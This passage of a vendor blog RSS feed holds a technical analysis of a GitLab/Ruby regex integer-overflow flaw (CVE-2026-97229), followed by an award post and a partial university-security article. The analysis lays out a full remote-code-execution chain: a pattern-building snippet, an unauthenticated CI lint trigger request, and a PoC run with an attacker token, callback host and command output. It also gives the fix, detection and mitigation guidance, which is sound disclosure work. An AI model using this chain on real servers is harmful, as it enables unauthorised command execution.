undefined;'><span data-type='inlineCode'>[4]</span></span><span style='font-size: undefined;'> via an inline comment: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>{5(?#)7805}</span></span></p><p></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>(?#)</span></span><span style='font-size: undefined;'> is an inline regex comment. Onigmo ignores it and reads the bound as 57,805. GitLab's scanner expects contiguous digits, so it does not see a bound above 1,000.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>That bypass admits the large repeat, but the checked expression is still only 986 bytes. The six </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[[:word:]]</span></span><span style='font-size: undefined;'> classes expand when matching begins against a repository path containing valid four-byte UTF-8 characters. Ruby recompiles the same source for UTF-8, each POSIX word class expands into a large Unicode range table, and GitLab never checks the size of this new program.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Ruby selects or recompiles the regex before starting its timed matcher:</span></p><p></p><pre language="c">/* re.c: rb_reg_prepare_re() */
regex_t *reg = RREGEXP_PTR(re);
if (reg-&gt;enc == enc) return reg; // [9] Matching encoding

// ... source preprocessing and use-count branch omitted
r = onig_new_without_alloc(&tmp_reg, (UChar *)ptr, (UChar *)(ptr + len),
                           reg-&gt;options, enc,
                           OnigDefaultSyntax, &einfo); // [10] Onigmo recompile
// ... error handling and old-program replacement omitted

/* re.c: rb_reg_onig_match() */
reg = rb_reg_prepare_re(re, str);
// ... use-count bookkeeping omitted
OnigPosition result = match(reg, str, regs, args); // [11] Begin timed match
// ... result cleanup omitted</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[9]</span></span><span style='font-size: undefined;'>, Ruby returns the existing program only when its encoding matches the subject. Otherwise, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[10]</span></span><span style='font-size: undefined;'> recompiles the source for the subject encoding via Onigmo. Only then does </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[11]</span></span><span style='font-size: undefined;'> begin timed matching, leaving the unsafe compilation outside the timeout.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Onigmo compiles the regular expression into bytecode, which its source calls pcode. Its regex VM then runs that pcode against each path, so the UTF-8 recompilation at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[10]</span></span><span style='font-size: undefined;'> is where the oversized pcode program is created.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The repeated target also carries the bytes that run after the overflow:</span></p><p></p><pre language="python"># poc.py: build()
# ... prefix setup omitted
target = "(?&lt;=" + "[[:word:]]" * 6 + "".join(character_class(stage) for stage in STAGES)
digits = str(REPEAT_COUNT)
pattern = f"\\A(?&gt;{prefix}(?:{target}){{{digits[0]}(?#){digits[1:]}}}|)\\b\\B"</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The six </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[[:word:]]</span></span><span style='font-size: undefined;'> classes are only the size multiplier. The payload sits in four more character classes generated by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>character_class(stage)</span></span><span style='font-size: undefined;'>. A class such as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[abc]</span></span><span style='font-size: undefined;'> compiles to a bitmap with bits set for </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>a</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>b</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>c</span></span><span style='font-size: undefined;'>. The helper works backwards from each desired pcode sequence and chooses class members whose bitmap reproduces those bytes. This puts attacker-controlled VM instructions at the end of every expanded copy.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Crossing </span><span style='color:rgb(24, 128, 56);'>INT_MAX</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Under UTF-8, one copy of the repeated body is 37,151 bytes. The relevant </span><a href="https://github.com/ruby/ruby/blob/v3_3_12/regcomp.c#L1154-L1170"><span style='font-size: undefined;'>Onigmo compiler code in Ruby 3.3.12</span></a><span style='font-size: undefined;'> is:</span></p><p></p><pre language="c">/* regcomp.c: compile_quantifier_node() */
/* ... earlier quantifier cases omitted */
else if (!infinite && qn-&gt;greedy &&
         (qn-&gt;upper == 1 || (tlen + SIZE_OP_PUSH) * qn-&gt;upper
                                &lt;= QUANTIFIER_EXPAND_LIMIT_SIZE)) { // [12] Signed size check
int n = qn-&gt;upper - qn-&gt;lower;

  r = compile_tree_n_times(qn-&gt;target, qn-&gt;lower, reg); // [13] Expand lower copies
if (r) return r;

// ... optional copies omitted
}
/* ... remaining quantifier cases omitted */</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>With this body size (37,151) and quantifier bound (57,805):</span></p><p></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>37,151 × 57,805 = 2,147,513,555 = 0x800074d3</span></span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>That is 29,908 (0x74D4) bytes beyond signed </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>INT_MAX</span></span><span style='font-size: undefined;'> (0x7FFFFFFF). At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[12]</span></span><span style='font-size: undefined;'>, the negative result satisfies the compiler's “small enough to expand” test. Onigmo enters the expansion path at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[13]</span></span><span style='font-size: undefined;'> and emits all 57,805 copies.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>|</span></span><span style='font-size: undefined;'> immediately after </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>{5(?#)7805}</span></span><span style='font-size: undefined;'> makes the repeated body the first alternative and leaves the second alternative empty. Onigmo compiles this </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>|</span></span><span style='font-size: undefined;'> into two pcode branches. An </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>OP_PUSH</span></span><span style='font-size: undefined;'> near the beginning is meant to record the empty alternative as a backtracking target, but does not transfer execution on this path. The first bad transfer is the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>OP_JUMP</span></span><span style='font-size: undefined;'> emitted after the giant first alternative by the </span><a href="https://github.com/ruby/ruby/blob/v3_3_12/regcomp.c#L1730-L1754"><span style='font-size: undefined;'>alternation compiler</span></a><span style='font-size: undefined;'>:</span></p><p></p><pre language="c">/* regcomp.c: compile_tree(), NT_ALT */
/* ... calculate alternation length omitted */
pos = reg-&gt;used + len;  /* goal position */

/* ... emit the fallback and first alternative omitted */
if (IS_NOT_NULL(NCDR(node))) {
  len = pos - (reg-&gt;used + SIZE_OP_JUMP);
  r = add_opcode_rel_addr(reg, OP_JUMP, len); // [14] Skip empty branch
if (r) break;
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The jump at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[14]</span></span><span style='font-size: undefined;'> should skip the empty alternative and land at the end of the alternation. The compiler calculated </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>pos</span></span><span style='font-size: undefined;'> from the already wrapped length, however. Our build emits the jump at offset 2,147,513,698 with a displacement of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>-136</span></span><span style='font-size: undefined;'>, sending execution into the first payload bitmap in the last expanded copy, 140 bytes from the end of the pcode.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>From character-class bitmap to </span><span style='color:rgb(24, 128, 56);'>system()</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The wrapped branch now leaves normal generated pcode and enters a controlled character-class bitmap. Onigmo consequently runs the bytes encoded by </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>character_class()</span></span><span style='font-size: undefined;'> as VM instructions, starting the sequence shown here.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2e73ed7bc1ae5498/6ad228756f7ed14638bf5b4d/figure2.jpg" alt="Figure 2" caption="Figure 2: From controlled Onigmo pcode to native command execution." height="929" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Figure 2" width="694" max-width="694" max-height="929" style="max-width: 694px; width: 694px; max-height: 929px; height: 929px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt2e73ed7bc1ae5498/6ad228756f7ed14638bf5b4d/figure2.jpg" data-sys-asset-uid="blt2e73ed7bc1ae5498" data-sys-asset-filename="figure2.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 2: From controlled Onigmo pcode to native command execution." data-sys-asset-alt="Figure 2" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 2: From controlled Onigmo pcode to native command execution.</figcaption></div></figure><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The controlled pcode redirects Onigmo's backtracking stack, which holds saved match state, into the repository path. On a failed match, the VM restores the two values shown in the diagram: the next instruction from the path and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>FinishCode</span></span><span style='font-size: undefined;'>, a pointer from its bottom stack frame. The first value decides where controlled pcode resumes. The second gives it a known address inside </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>libruby</span></span><span style='font-size: undefined;'>.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The path instruction sends control to the final controlled bitmap. That bitmap adjusts the recovered </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>libruby</span></span><span style='font-size: undefined;'> pointer to a short instruction sequence that passes the path command to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>system()</span></span><span style='font-size: undefined;'>, then writes that address into </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>match_at()</span></span><span style='font-size: undefined;'>'s native return slot. When the matcher finishes, execution returns through the overwritten slot. </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>FinishCode</span></span><span style='font-size: undefined;'> and the call site are in the same </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>libruby</span></span><span style='font-size: undefined;'> mapping, so the distance between them stays constant under ASLR.</span></p><h2 style="direction: ltr;">Exploitation</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Delivering the branch through CI lint</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Once the malicious configuration and path are present on a public branch, GitLab's CI lint API supplies an unauthenticated trigger. The </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GET</span></span><span style='font-size: undefined;'> form accepts an attacker-selected </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>content_ref</span></span><span style='font-size: undefined;'>, loads </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>.gitlab-ci.yml</span></span><span style='font-size: undefined;'> from that commit, and evaluates it:</span></p><p></p><pre language="markdown">GET /api/v4/projects/attacker%2Fpublic-project/ci/lint?content_ref=payload-ref
Host: gitlab.example</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The route checks whether the requester may read the public repository, resolves the supplied ref, and passes its CI configuration to the static linter:</span></p><p></p><pre language="ruby">get ':id/ci/lint' do
  authorize_read_code! # [17] Read authorization
  not_found! 'Repository' if user_project.empty_repo?

  unauthorized!("This endpoint requires an API authentication") if current_user && !::Current.token_info # [18] Token check

  content_ref = params[:content_ref] || params[:sha] || user_project.repository.root_ref_sha # [19] Select commit
  dry_run_ref = params[:dry_run_ref] || params[:ref] || user_project.default_branch

  commit = user_project.commit(content_ref)
  not_found! 'Commit' unless commit.present?

  content = user_project.repository.blob_data_at(commit.sha, user_project.ci_config_path_or_default)
  result = Gitlab::Ci::Lint
    .new(project: user_project, current_user: current_user, sha: commit.sha)
    .legacy_validate(content, dry_run: params[:dry_run], ref: dry_run_ref) # [20] Run static lint

  present result, with: Entities::Ci::Lint::Result, current_user: current_user, include_jobs: params[:include_jobs]
end</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Public visibility makes </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>authorize_read_code!</span></span><span style='font-size: undefined;'> at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[17]</span></span><span style='font-size: undefined;'> succeed without credentials, while the condition at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[18]</span></span><span style='font-size: undefined;'> does not reject an absent </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>current_user</span></span><span style='font-size: undefined;'>. The selected branch becomes the static linter's input through </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[19]</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[20]</span></span><span style='font-size: undefined;'>, without creating a pipeline or contacting a runner. This is why the exploit's trigger can be unauthenticated even though the demonstrated setup requires project write access.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Running a command</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://github.com/jburgess-r7/CVE-2026-97229-PoC"><span style='font-size: undefined;'>initial Python PoC</span></a><span style='font-size: undefined;'> clones a public project controlled by the operator, creates a payload branch, starts the callback, and sends the lint request:</span></p><p></p><pre language="shell-session">$ python3 poc.py https://g.example 123 \
    --git-url 'https://oauth2:ATTACKER_TOKEN@g.example/attacker/public-poc.git' \
    --callback-url cb.ex:8000 \
    --cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>HTTP 502 is expected. The command runs synchronously in a Puma worker. After </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>system()</span></span><span style='font-size: undefined;'> returns, the corrupted worker crashes. GitLab Workhorse, the reverse proxy in front of Puma, sees its Rails backend connection close and returns 502. Puma replaces the worker. The callback output, not the HTTP status, is the success signal.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The target-specific values in this PoC, such as </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>SYSTEM_STEP_COUNT</span></span><span style='font-size: undefined;'>, the number of UTF-8 backward steps from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>FinishCode</span></span><span style='font-size: undefined;'> to the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>libruby</span></span><span style='font-size: undefined;'> </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>system()</span></span><span style='font-size: undefined;'> call site, match official GitLab CE </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.4.1</span></span><span style='font-size: undefined;'> on Linux amd64. Other vulnerable packages or architectures need adjusted pcode and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>libruby</span></span><span style='font-size: undefined;'> offsets. A little over 2 GiB is required in the worker, and our complete single-node GitLab target needed about 9 GiB available. Low-memory instances may swap, reject the allocation, or invoke the OOM killer.</span></p><h2 style="direction: ltr;">The fix</h2><p style="direction: ltr;"><span style='font-size: undefined;'>GitLab's </span><a href="https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/9845"><span style='font-size: undefined;'>Ruby backport</span></a><span style='font-size: undefined;'> replaces the multiplication at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[12]</span></span><span style='font-size: undefined;'> with a division-based test, which cannot overflow, and rejects compiled programs above roughly 512 MiB:</span></p><p></p><pre language="c">/* regcomp.c */
#define IS_EXPAND_LIMIT_OK(tlen, n) \
  ((n) &lt;= 0 || (tlen) &lt;= QUANTIFIER_EXPAND_LIMIT_SIZE / (n))

/* ... unrelated compiler declarations omitted */
#define MAX_COMPILED_PROGRAM_SIZE (INT_MAX_LIMIT / 4)</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>On the patched image, the crafted quantifier remains a compact loop and the request returns a normal false match. The repeat-range double-free fixed in the same release affects an error path and is not part of this chain.</span></p><h2 style="direction: ltr;">Detection guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>For the exploitation strategy described in this analysis, correlate:</span></p><p></p><ol><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>/var/log/gitlab/gitlab-workhorse/current</span></span><span style='font-size: undefined;'>: a several-second </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>GET /api/v4/projects/&lt;project&gt;/ci/lint?content_ref=&lt;ref&gt;</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>badgateway: failed to receive response: EOF</span></span><span style='font-size: undefined;'>, and HTTP 502.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>A Puma worker crashes or restarts at the same time; any saved trace contains </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>regexp_matcher.rb</span></span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>The referenced commit: an </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>(?#)</span></span><span style='font-size: undefined;'>-split repeat, repeated POSIX word classes, and a path containing four-byte UTF-8 characters.</span></p></li></ol><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>A shell child or roughly 2 GiB worker-memory increase strengthens the match. The undisclosed path may differ.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Self-managed GitLab customers should upgrade to the fixed patch for their release: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.2.8</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.3.5</span></span><span style='font-size: undefined;'>, or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.4.2</span></span><span style='font-size: undefined;'>. As a temporary measure, restrict credential-free access to attacker-writable public projects or block this lint route. Route controls do not repair the vulnerable Ruby compiler.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Please read GitLab's </span><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/"><span style='font-size: undefined;'>critical patch release</span></a><span style='font-size: undefined;'> for the latest guidance.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/ra-gitlab-ci-cd-regex-integer-overflow-technical-analysis-cve-2026-97229</link>
      <guid isPermaLink="false">bltbfdc07fba418329d</guid>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Rapid7 Analysis]]></category>
      <category><![CDATA[Emergent Threat Response]]></category><dc:creator><![CDATA[Jonah Burgess]]></dc:creator>
      <pubDate>Fri, 16 Oct 2026 13:31:56 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcbf09ec3af35e28e/6a15c63f08221ed5144dbf77/webinar-rapid7-logo.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Rapid7 Intelligence Wins the 2026 Péter Szőr Award for Outstanding Research]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Some awards you're happy to receive, while others make you stop for a moment. Receiving the 2026 </span><a href="https://www.virusbulletin.com/conference/peter-szor-award/" target="_blank"><span style='font-size: undefined;'>Péter Szőr Award</span></a><span style='font-size: undefined;'> this week at Virus Bulletin in Seville for our research, </span><a href="/blog/post/tr-bpfdoor-telecom-networks-sleeper-cells-threat-research-report" target="_self"><span style='font-size: undefined;'><em>BPFdoor in Telecom Networks: Sleeper Cells in the Backbone</em></span></a><span style='font-size: undefined;'>, was of the latter kind.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Virus Bulletin created the award to honor Péter's life and work, and it recognizes outstanding technical security research: the rigorous, the deep, and the useful – exactly what he was known for himself. And as far as recognitions in our industry go, it's hard to top. I'm extremely proud.</span></p><h2 style="direction: ltr;">What the Pèter Szőr Award means to us</h2><p style="direction: ltr;"><span style='font-size: undefined;'>I knew Péter, and early in my career, I learned from him. This was back when malware analysis meant staring at assembly, arguing about what a routine really did, and realizing hours later that your first theory was wrong. One memory came straight back when I heard about the award: going through Stuxnet together. For anyone in research at the time, that was the moment you knew the game had changed. Engineering, tradecraft, espionage and physical-world consequences, all in one package.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>What stayed with me wasn't how much Péter knew, but rather his curiosity. He wanted to understand things, and then once he did, he wanted everyone else to understand too. Plenty of brilliant people in cybersecurity keep it to themselves, but the ones who leave a legacy make the people around them better.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Receiving an award that carries his name felt like one of those full-circle moments. </span></p><h2><span style='font-size: undefined;'>The research behind the award</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>The original </span><a href="/blog/post/tr-bpfdoor-telecom-networks-sleeper-cells-threat-research-report" target="_self"><span style='font-size: undefined;'>research</span></a><span style='font-size: undefined;'> from Rapid7 Intelligence emerged after months of investigating stealthy access inside telecommunications environments. This wasn't malware dropped during a conventional intrusion, but long-term strategic positioning: passive backdoors, kernel-level capabilities and covert access, quietly settled into critical infrastructure and in no hurry whatsoever.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Telecom networks carry our communications, our identities and, increasingly, everything governments and businesses run on. So when an adversary sets up camp there, the impact goes well beyond one compromised machine or one unlucky company.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Virus Bulletin's community nomination noted that the work paired deep technical investigation with real-world impact, including long hours with agencies and CERTs around the world and tools, scripts, intelligence and detection capabilities for defenders. That's the part I'm happiest about, as this wasn't research for publication alone. Remember that a PDF has never stopped an intrusion.</span></p><h2 style="direction: ltr;">Publishing research is a checkpoint, not the finish line</h2><p style="direction: ltr;"><span style='font-size: undefined;'>We're still doing the research. Since the original report, Rapid7 Intelligence has analyzed hundreds more samples, found previously undocumented BPFDoor variants, and tracked changes in the operators' tradecraft. Our </span><a href="/blog/post/tr-new-whitepaper-stealthy-bpfdoor-variants" target="_self"><span style='font-size: undefined;'>follow-up work</span></a><span style='font-size: undefined;'> covered new </span><span style='font-size: undefined;'><span data-type='inlineCode'>httpShell</span></span><span style='font-size: undefined;'> and </span><span style='font-size: undefined;'><span data-type='inlineCode'>icmpShell</span></span><span style='font-size: undefined;'> variants built to make detection even harder. In </span><a href="/blog/post/tr-smtp-is-the-key-bpfdoor-averat-hitting-the-network-edge/" target="_self"><span style='font-size: undefined;'>further publications</span></a><span style='font-size: undefined;'>, we went beyond BPFDoor to additional Linux implants and infrastructure targeting telecom and network-edge environments, including AVERAT and techniques that hide in ordinary-looking traffic like SMTP. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>That's how this work goes. You find something, you share it, someone sends you another sample, a CERT spots something in their environment, an analyst notices the one odd function nobody looked at twice, and you're back down the rabbit hole. Anyone who thinks an initial report is the finish line has never received "just one more sample" at 4 p.m. on a Friday.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>And truthfully, I also love that this happens in the open. From the outside, our industry looks like a cage match over attribution, naming conventions and whose acronym is cooler. But when something truly matters, researchers, vendors, CERTs and governments put that aside and share, because protecting people beats winning the naming argument.</span></p><h2 style="direction: ltr;">This award belongs to the team: Rapid7 Intelligence</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Research like this never belongs to just one or two people. It belongs to the analysts still staring at code after everyone else has gone home, the people who question an assumption because something doesn't add up, the people that keep the show running, and the detection engineers who turn findings into something defenders can use. It also belongs to the people collecting samples, maintaining infrastructure and correlating intelligence, and to the CERTs, agencies and peers who trusted us enough to share what they saw.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>I'm proud of the </span><a href="/research" target="_self"><span style='font-size: undefined;'>Rapid7 Intelligence</span></a><span style='font-size: undefined;'> team, and not because of the trophy. I'm proud of why we got it: we took a hard problem, did the hard work, and then tried to make the result useful to someone else.</span></p><h2 style="direction: ltr;">To the next generation of research</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Today, the conversation has evolved to include autonomous agents, AI-generated malware and machine-speed attacks. Tomorrow it'll be something new. My motivation stays the same: I want to leave the digital world a little safer for the generations that come after us.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Somewhere right now, a young researcher is opening a debugger for the first time and wondering how on earth the thing works. Someone will investigate the Stuxnet of their generation, and someone will eventually sit in the chair I'm in now. Our job isn't just to detect today's attacks. It's to share what we learn, build tools, mentor people and make sure they start a few steps ahead of where we did.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Péter did that for our industry, and he did it for me.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Thank you to Virus Bulletin and our peers in the security community for this recognition, to everyone who contributed to the research, publicly or behind the scenes, and to Péter, who taught a young malware researcher that taking things apart is only half the job. The other half is making sure somebody else can learn from what you found.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-rapid7-intelligence-wins-2026-peter-szor-award-outstanding-research</link>
      <guid isPermaLink="false">blt4e644ef389d2f7de</guid>
      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Awards]]></category><dc:creator><![CDATA[Christiaan Beek]]></dc:creator>
      <pubDate>Fri, 16 Oct 2026 13:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltebc2810157aecfaf/68af2715c53b04810df94abb/blog-hero-generic-pixel.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[How Multi-Campus Universities can Build a more Connected Security Program]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Parts 1 and 2 of this series looked at two pressures facing higher education security teams. </span><a href="/blog/post/it-higher-education-under-siege-fragmented-security/" target="_self"><span style='font-size: undefined;'>First, the threat landscape</span></a><span style='font-size: undefined;'>: universities are dealing with more frequent attacks across complex, distributed environments, while campus-by-campus security can make it harder to share intelligence and coordinate response. </span><a href="/blog/post/it-compliance-frameworks-for-universities-drowning-in-regulatory-risk/" target="_self"><span style='font-size: undefined;'>Second, the compliance burden:</span></a><span style='font-size: undefined;'> overlapping requirements across FERPA, GLBA, HIPAA, and CMMC make it difficult to establish what data was affected, which reporting obligations apply, and how quickly the institution needs to act.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This final part is about what changes when a university system starts treating security as a shared capability rather than a collection of separate campus programs. Multi-campus institutions still need to preserve local autonomy, but they also need enough visibility across the wider organization to understand where risk sits, how an incident is spreading, and whether the same problem is appearing elsewhere.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>That balance is especially relevant in higher education, where campuses, research environments, health services, and administrative teams often operate with very different technology needs and levels of independence.</span></p><h2 style="direction: ltr;">Security architecture should reflect how universities actually operate</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Most university systems are already federated organizations, with individual campuses managing their own leadership, budgets, users, and technology environments while a central office provides governance and oversight across the wider institution.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Security architecture can follow the same model. With multi-tenancy in the Rapid7 Command Platform, a central security team can maintain visibility across the university system while individual campuses continue to operate within their own environments. Campus-level data and access remain separated, while the central team can identify wider patterns, coordinate response, and distribute common workflows across the system.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>A new attack pattern detected at one campus, for example, should not have to remain a local discovery. Shared visibility and coordinated workflows can help the central team determine whether the same activity is appearing elsewhere and make relevant response guidance available across the institution without exposing one campus's data to another.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As the university system grows, that model can expand with it. A system operating three campuses today can add new environments without redesigning the security architecture each time.</span></p><h2 style="direction: ltr;">Shared visibility makes cross-campus response faster</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A central view of the attack surface can reduce much of the manual work that happens when university teams need to answer a system-wide security question.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>If a significant zero-day is disclosed, the central security team needs to know which campuses are running affected systems, which have already remediated the vulnerability, and where attention is still required. In a decentralized environment, gathering that information can mean emails, calls, spreadsheets, and separate conversations with each campus. A shared view of assets and vulnerabilities gives teams a faster way to establish where the exposure exists.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>During an active incident, the same cross-campus visibility can help investigators work out whether suspicious activity first appeared at Campus C because the compromise began there, or because that is simply where it became visible. It also allows them to check whether the same indicators are present at Campus A or Campus B before each team starts investigating independently.</span></p><p style="direction: ltr;"><span style='font-size: 